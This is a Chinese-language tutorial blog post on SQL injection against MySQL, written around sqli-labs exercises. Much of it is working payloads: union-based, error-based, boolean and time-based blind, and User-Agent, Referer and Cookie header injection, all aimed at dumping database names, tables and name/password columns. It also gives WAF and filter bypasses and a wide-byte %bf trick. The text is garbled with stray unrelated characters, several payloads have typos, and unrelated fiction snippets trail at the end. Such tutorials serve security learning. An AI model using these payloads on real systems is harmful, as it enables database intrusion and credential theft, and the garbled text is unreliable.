Sql注入

Sql注入定義:

就是通過把sql命令插入到web表單提交或輸入域名或頁面請求的查詢字符串世分,最終達到欺騙服務(wù)器執(zhí)行的sql命令的目的

sql注入分類:

基于聯(lián)合查詢

基于錯誤回顯

基于盲注,分時間盲注和布爾型的盲注

基于user-agent

基于feferer

基于cookie

二次注入

寬字節(jié)注入

注入一個網(wǎng)站時索烹,我們先要找出后臺構(gòu)造的查詢語句,然后判斷是否存在注入點。

常規(guī)的找出查詢語句的方法是在后面加’“‘)“),看是否報錯伞矩,然后用and 1=1和and 1=2判斷是否存在注入點瓢阴,然后根據(jù)情況用不同的方法注入。

1.聯(lián)合查詢:

通過執(zhí)行等同于將一個表追加到另一個表的操作來組合兩個表的查詢

首先來了解下mysql的系統(tǒng)函數(shù)

user() :當前使用者的用戶名

database():當前數(shù)據(jù)庫

version():數(shù)據(jù)庫版本

datadir:讀取數(shù)據(jù)庫的絕對路徑

@@vasedir:mysql安裝路徑

@@version_compile_os:操作系統(tǒng)

concat():連接一個或者多個字符串

group_concat():連接一個組的所有字符串垒拢,并以逗號分隔每一條數(shù)據(jù)

UNION 用于合并兩個或多個 SELECT 語句的結(jié)果集旬迹,并消去表中任何重復(fù)行。

UNION 內(nèi)部的 SELECT 語句必須擁有相同數(shù)量的列求类,列也必須擁有相似的數(shù)據(jù)類型奔垦。同時,每條 SELECT 語句中的列的順序必須相同.默認地尸疆,UNION 操作符選取不同的值椿猎。如果允許重復(fù)的值,請使用 UNION ALL寿弱。當 ALL 隨 UNION 一起使用時(即 UNION ALL)犯眠,不消除重復(fù)行

order by 用于對結(jié)果集進行排序

mysql 5.0版本以后提供了information.schema表,表中記錄了數(shù)據(jù)庫中所有的庫脖捻、表阔逼、列等信息

理解Schema,schemata,schema_name,table_schema(這是我學(xué)習(xí)過程中最混淆的地方)

SCHEMATA表:儲存mysql所有數(shù)據(jù)庫的基本信息,包括數(shù)據(jù)庫名地沮,編碼類型路徑等嗜浮,show databases的結(jié)果取之此表。

TABLES表:儲存mysql中的表信息摩疑,(當然也有數(shù)據(jù)庫名這一列危融,這樣才能找到哪個數(shù)據(jù)庫有哪些表嘛)包括這個表是基本表還是系統(tǒng)表,數(shù)據(jù)庫的引擎是什么雷袋,表有多少行吉殃,創(chuàng)建時間,最后更新時間等楷怒。show tables from schemaname的結(jié)果取之此表

COLUMNS表:提供了表中的列信息蛋勺,(當然也有數(shù)據(jù)庫名和表名稱這兩列)詳細表述了某張表的所有列以及每個列的信息,包括該列是那個表中的第幾列鸠删,列的數(shù)據(jù)類型抱完,列的編碼類型,列的權(quán)限刃泡,注釋等巧娱。是show columns from schemaname.tablename的結(jié)果取之此表

找到注入點后碉怔,我們用order by語句查詢數(shù)據(jù)庫中存在多少數(shù)據(jù)表

確定多少個表,為了便于說明禁添,假設(shè)有三個數(shù)據(jù)表撮胧,

Order by 3 返回正常

order by 4返回錯誤

然后使用and 1=2 union select 1,2老翘,3 %23爆出可以回顯敏感信息的位置,假設(shè)在2和3上

下面我們就要查詢敏感信息了芹啥,就要用到上面所說的系統(tǒng)函數(shù)了

and 1=2 union select 1,version(),database()可以爆出當前使用的版本和數(shù)據(jù)庫名

and 1=2 union select 1,2,schema_name from information_schema.schemata limit 1,1 %23爆出數(shù)據(jù)庫名,依次使用limit2酪捡,1往下爆庫名叁征,也可以使用group_concat函數(shù)全部爆出來 and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata%23?。

我們假設(shè)其中有flag庫

and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where schema_name=’flag’爆出flag庫下的所有的表逛薇,假設(shè)其中有flagtable表

and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name =’flagtale’爆出flagtable下的所有字段捺疼,假設(shè)有name和password字段

and 1=2 union select 1,2,group_concat(name,password) from flag.flagtable爆出flag下的flagtable表的name和password的內(nèi)容

2.基于錯誤回顯

基于錯誤回顯的sql注入就是通過sql語句的矛盾性來使數(shù)據(jù)被回顯到頁面上

所用到的函數(shù)

count() 統(tǒng)計元祖的個數(shù)(相當于求和)

如select count(*) from information_schema.tables;

rand()用于產(chǎn)生一個0~1的隨機數(shù)

floor()向下取整

group by 依據(jù)我們想要的規(guī)矩對結(jié)果進行分組

concat將符合條件的同一列中的不同行數(shù)據(jù)拼接,以逗號隔開

首先看一下關(guān)于rand()函數(shù)與group by 在mysql中的錯誤報告永罚,我們就是要利用group by part of rand() returns duplicate key error這個bug啤呼。

RAND() in a WHERE clause is re-evaluated every time the WHERE is executed.

You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times.

這個bug會爆出duplicate key這個錯誤,然后順便就把數(shù)據(jù)也給爆了

公式:username=admin' and (select 1 from (select count(*), concat(floor(rand(0)*2),0x23,(你想獲取的數(shù)據(jù)的sql語句))x from information_schema.tables group by x )a) and '1' = '1

and (select 1 from (select count(*),concat(floor(rand()*2),0x23,( ?select group_concat(schema_name) from information_schema.schemata ?) )name from information_schema.tables group by name)a) %23爆出所有庫名呢袱,同上面一樣官扣,假設(shè)有falg庫

and (select 1 from (select count(*),concat(floor(rand()*2),0x23,( ?select group_concat(table_name) from information_schema.tables where table_schema=’flag’ ?) )name from information_schema.tables group by name)a) %23爆出flag下的所有表,假設(shè)有flagtable表

and (select 1 from (select count(*),concat(floor(rand()*2),0x23,( ?select group_concat(column_name) from information_schema.columns where talbe_name =’flagtable’ ?) )name from information_schema.tables group by name)a) %23爆出flagtable表的所有字段,假設(shè)有name和password

and (select 1 from (select count(*),concat(floor(rand()*2),0x23,( ?select group_concat(name,password) fromflag.flagtable) )name from information_schema.tables group by name)a) %23爆出name和password字段的內(nèi)容

3. ?sql盲注

在不知道數(shù)據(jù)庫具體返回值的情況下對數(shù)據(jù)庫中的內(nèi)容進行猜解羞福,實施sql注入惕蹄,一般分為基于布爾和基于時間類型的盲注。

3.1 基于布爾型的sql盲注:

返回的界面只有兩種情況治专,即TRUE和FALSE卖陵,這樣說并不是很準確,因為SQL查詢無非就這兩種情況张峰,應(yīng)該說是盲注的時候你只能得到一個正常的頁面或者是什么頁面的不存在泪蔫,甚至你在查詢表的記錄過程也不會有顯示。

首先了解幾個函數(shù)

length()返回字符串的長度

substr()截取字符串

ascii()返回字符的ascii碼

爆數(shù)據(jù)庫的路徑

and ascii(substr(@@datadir,1,1))>69 %23然后使用二分法一步一步確定喘批。

爆所有的數(shù)據(jù)庫名

and ascii(substr((select schema_name from information_schema.schemata limit 2,1),1,1))>101 %23?limit函數(shù)爆出的是第二個數(shù)據(jù)庫的第一個字符撩荣,同上,假設(shè)其中一個庫名為flag

爆數(shù)據(jù)庫表名

and (ascii(substr((select table_name from information_schema.tables where table_schema=’flag’limit 0,1),1,1)))>100 %23假設(shè)其中一個表名為flagtable

爆出數(shù)據(jù)庫的列名

and (ascii(substr((select column_name from information_schema.columns where table_name=’flagtable’limit 0,1),1,1)))>100 %23,假設(shè)其中列名為name和password

爆出列里的數(shù)據(jù)內(nèi)容

and ascii(substr((selectgroup_concat(name,password)from flag.flagtable limit 0,1),1,1))>48 %23

這樣我們就一步一步的爆出數(shù)據(jù)庫的信息了

3.2 基于時間的盲注

web頁面的返回值只有一種饶深,true餐曹,無論輸入任何值,它的返回都會按正確的來處理敌厘。加入特定的時間函數(shù)台猴,通過查看是web頁面返回的時間差來判斷注入的語句是否正確

sleep()函數(shù)

執(zhí)行將程序(進程)掛起一段時間

if(expr1,ecpr2,expr3)判斷語句

爆庫名

and if(ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))>100,1,sleep(3))%23使用二分法卿吐,一步一步爆出數(shù)據(jù)庫名,假設(shè)其中有一數(shù)據(jù)庫名為flag

爆表名

and if(ascii(substr((select table_name from information_schema.tables where table_schema=’flag’limit1,1) ,1,1))>101,1,sleep(3)) %23假設(shè)有一表名為flagtable

爆列名

and if(ascii(substr((select column_name from information_schema.columns where table_name=’flagtable’limit1,1) ,1,1))>100,1,sleep(3)) %23锋华,假設(shè)爆出列名為name和password

爆表中的內(nèi)容

and if(ascii(substr((selectgroup_concat(name,password)from flag.flagtable limit 0,1) ,1,1))>48,1,sleep(3)) %23

4.基于user-agent的注入

用戶代理(user agent)是記錄軟件程序的客戶端信息的HTTP頭字段嗡官,他可以用來統(tǒng)計目標和違規(guī)協(xié)議。在HTTP頭中應(yīng)該包含它毯焕,這個字段的第一個空格前面是軟件的產(chǎn)品名稱衍腥,后面有一個可選的斜杠和版本號。

并不是所有的應(yīng)用程序都會被獲取到user-agent信息纳猫,但是有些應(yīng)用程序利用它存儲一些信息(如:購物車)婆咸。

HTTP查詢實例:

GET /index.phpHTTP/1.1

Host: [host]

User-Agent: aaa’ or 1/*

我們將火狐設(shè)置為本地代理,然后用brup suite抓包芜辕。


然后將包發(fā)送到Repeater

在user-Agent修改為’,2,(select 1 from (select count(*),concat(0x3a,0x3a,(select schema_name from information_schema.schemata limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)a) )#

就爆出了數(shù)據(jù)庫的庫名flag了尚骄,這是sqli-labs第十八關(guān)的測試結(jié)果,構(gòu)造爆出表列的語句和基于錯誤回顯的語句一樣侵续,這里就不多做說明了倔丈。

5.基于頭部Referer注入

http referer是header的一部分,當瀏覽器向web服務(wù)器發(fā)送請求的時候状蜗,一般會帶上referer需五,告訴服務(wù)器我是從哪個頁面鏈接過來的,服務(wù)器以此可以獲得一些信息用于處理

以下測試基于sqli-labs第十九關(guān)的測試結(jié)果



在referer中輸入',(select 1 from (select count(*),concat(0x3a,0x3a,(select schema_name from information_schema.schemata limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)a) )#爆出數(shù)據(jù)庫名為flag轧坎,其他注入語句和上雷同宏邮。



6.基于cookie的注入

cookie(存儲在用戶本地終端上的數(shù)據(jù))有服務(wù)器生成,發(fā)給user-agent(一般是瀏覽器)缸血,瀏覽器會把cookie的key/value保存到某個目錄下的文本文件內(nèi)蜜氨,下次請求同一網(wǎng)站時就會發(fā)送還cookie給服務(wù)器(前提是瀏覽器設(shè)置為啟用cookie)。cookie名稱和值可以有服務(wù)器端開發(fā)自己定義属百,對于jsp而言也可以直接寫入jessionid记劝,這樣服務(wù)器可以知道該用戶是否合法用戶以及是否需要重新登錄等,服務(wù)器keyhi設(shè)置或讀取cookie中包含信息族扰,借此維護用戶跟服務(wù)器會話中的狀態(tài)厌丑。

火狐中插件friebug對其修改,或用burp suite抓包修改

以下測試結(jié)果基于sqli-labs 第二十關(guān)

在cookie中加單引號測試報錯渔呵,證明存在注入怒竿。然后在cookie中輸入'and (select 1 from (select count(*),concat(0x3a,0x3a,(select schema_name from information_schema.schemata limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)a) # 同樣爆出的庫名flag



對于GET和POST的區(qū)別:

當然,上面所說的全是在裸機的情況下的結(jié)果扩氢,在正常情況下耕驰,會有些防護措施。下面介紹些繞過的方法录豺。

1.base64編碼

base64編碼的思想是采用64個基本的ascii碼字符對數(shù)據(jù)進行重新編碼朦肘。它將需要編碼的數(shù)據(jù)拆分字節(jié)數(shù)組饭弓。以3個字節(jié)為一組,按順序排列24位數(shù)據(jù)媒抠,再把24位數(shù)據(jù)分成4組弟断,即每組6位,再在每組的最高位前補兩個0湊足一個字節(jié)趴生,這樣把一個3字節(jié)為一組的數(shù)據(jù)重新編碼成4個字節(jié)阀趴。當所要編碼的數(shù)據(jù)的字節(jié)不是3的整數(shù)倍,這時苍匆,在最后一組填充1到2個0字節(jié)刘急。并在最后編碼完成后在結(jié)尾添加1到2個”=“。

關(guān)于這個編碼的規(guī)則:

①.把3個字符變成4個字符浸踩。

②每76個字符加一個換行符叔汁。

③.最后的結(jié)束符也要處理。

在火狐的插件heckbar中有此功能


1.過濾關(guān)鍵字符

and——&&

or——||

空格被過濾

可以使用”%09%0A%0C%0D%0B”替代民轴,也可以用or和and語句來構(gòu)造到達閉合語句的效果攻柠。

union select過濾

使用大小寫繞過,如UNion后裸,SElect

多次重復(fù)瑰钮,如ununionion,selselectect

在union select聯(lián)合使用被過濾的情況微驶,unionallselect

2.WAF應(yīng)用防護系統(tǒng)

php get 獲取參數(shù)時有一個特性浪谴,當某個參數(shù)被多次賦值時會保留最后一次被賦值時的值。如id=1&id=&2&id=3這時因苹,程序會返回id=3的值苟耻,但WAF只對第一次的id進行測試,如果傳入多個id扶檐,那么后面的id則存在注入漏洞

輸入id=1&id=&2&id=3‘就會出現(xiàn)報錯

二次注入

注入過程分為兩個部分凶杖,語句插入和語句執(zhí)行。常規(guī)的注入中都是將sql語句插入后即可顯示效果款筑,出錯或者得出注入結(jié)果智蝠,而二次注入的第一步不會產(chǎn)生任何反應(yīng),因為它只是一個語句的插入奈梳,并沒有執(zhí)行杈湾,在第二步運行時才能執(zhí)行第一步插入的語句并顯示結(jié)果。而這兩個點可能不在同一位置攘须。

此時修改密碼漆撞,單引號閉合語句,井號注釋后面的語句,修改的就不是admin’#的密碼了浮驳,而是admin的密碼

寬字節(jié)注入

GB2312 , GBK , GB18030 , BIG5 , SHIFT_JIS 等這些都是常說的寬字節(jié)(兩個字節(jié))悍汛,ascii就是單字節(jié)(一個字節(jié))

GBK編碼,他的范圍是0x8410~0xFEFE(不包括xx7F)ascii編碼至会,他的編碼范圍是ascii(0)~ascii(127)员凝,另外有一個擴展ascii打印字符,他的范圍是ascii(128)~ascii(255)

addslashes()函數(shù)

在每個字符前添加反斜杠:\

my_sql_real_escape_string()

my_sql_real_escape_string()函數(shù)轉(zhuǎn)義sql語句中使用的字符串中的特殊符:\x00? ,? \n? , \r? ,? \? ,? ' ,? "?? ,? 奋献、x1a

id=1,我們在后面家單引號,雙引號都返回正常旺上,因為被添加反斜杠或轉(zhuǎn)義了瓶蚂,此時我們可以在測試字符前加%bf

id=1%bf’就會報錯了

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市宣吱,隨后出現(xiàn)的幾起案子窃这,更是在濱河造成了極大的恐慌,老刑警劉巖征候,帶你破解...
    沈念sama閱讀 216,402評論 6 499
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件杭攻,死亡現(xiàn)場離奇詭異,居然都是意外死亡疤坝,警方通過查閱死者的電腦和手機兆解,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,377評論 3 392
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來跑揉,“玉大人锅睛,你說我怎么就攤上這事±” “怎么了现拒?”我有些...
    開封第一講書人閱讀 162,483評論 0 353
  • 文/不壞的土叔 我叫張陵,是天一觀的道長望侈。 經(jīng)常有香客問我印蔬,道長,這世上最難降的妖魔是什么脱衙? 我笑而不...
    開封第一講書人閱讀 58,165評論 1 292
  • 正文 為了忘掉前任侥猬,我火速辦了婚禮,結(jié)果婚禮上岂丘,老公的妹妹穿的比我還像新娘陵究。我一直安慰自己,他們只是感情好奥帘,可當我...
    茶點故事閱讀 67,176評論 6 388
  • 文/花漫 我一把揭開白布铜邮。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪松蒜。 梳的紋絲不亂的頭發(fā)上扔茅,一...
    開封第一講書人閱讀 51,146評論 1 297
  • 那天,我揣著相機與錄音秸苗,去河邊找鬼召娜。 笑死,一個胖子當著我的面吹牛惊楼,可吹牛的內(nèi)容都是我干的玖瘸。 我是一名探鬼主播,決...
    沈念sama閱讀 40,032評論 3 417
  • 文/蒼蘭香墨 我猛地睜開眼檀咙,長吁一口氣:“原來是場噩夢啊……” “哼雅倒!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起弧可,我...
    開封第一講書人閱讀 38,896評論 0 274
  • 序言:老撾萬榮一對情侶失蹤蔑匣,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后棕诵,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體裁良,經(jīng)...
    沈念sama閱讀 45,311評論 1 310
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,536評論 2 332
  • 正文 我和宋清朗相戀三年校套,在試婚紗的時候發(fā)現(xiàn)自己被綠了价脾。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 39,696評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡笛匙,死狀恐怖彼棍,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情膳算,我是刑警寧澤座硕,帶...
    沈念sama閱讀 35,413評論 5 343
  • 正文 年R本政府宣布,位于F島的核電站涕蜂,受9級特大地震影響华匾,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜机隙,卻給世界環(huán)境...
    茶點故事閱讀 41,008評論 3 325
  • 文/蒙蒙 一蜘拉、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧有鹿,春花似錦旭旭、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,659評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽源梭。三九已至,卻和暖如春稍味,著一層夾襖步出監(jiān)牢的瞬間废麻,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 32,815評論 1 269
  • 我被黑心中介騙來泰國打工模庐, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留烛愧,地道東北人。 一個月前我還...
    沈念sama閱讀 47,698評論 2 368
  • 正文 我出身青樓掂碱,卻偏偏與公主長得像怜姿,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子疼燥,可洞房花燭夜當晚...
    茶點故事閱讀 44,592評論 2 353

推薦閱讀更多精彩內(nèi)容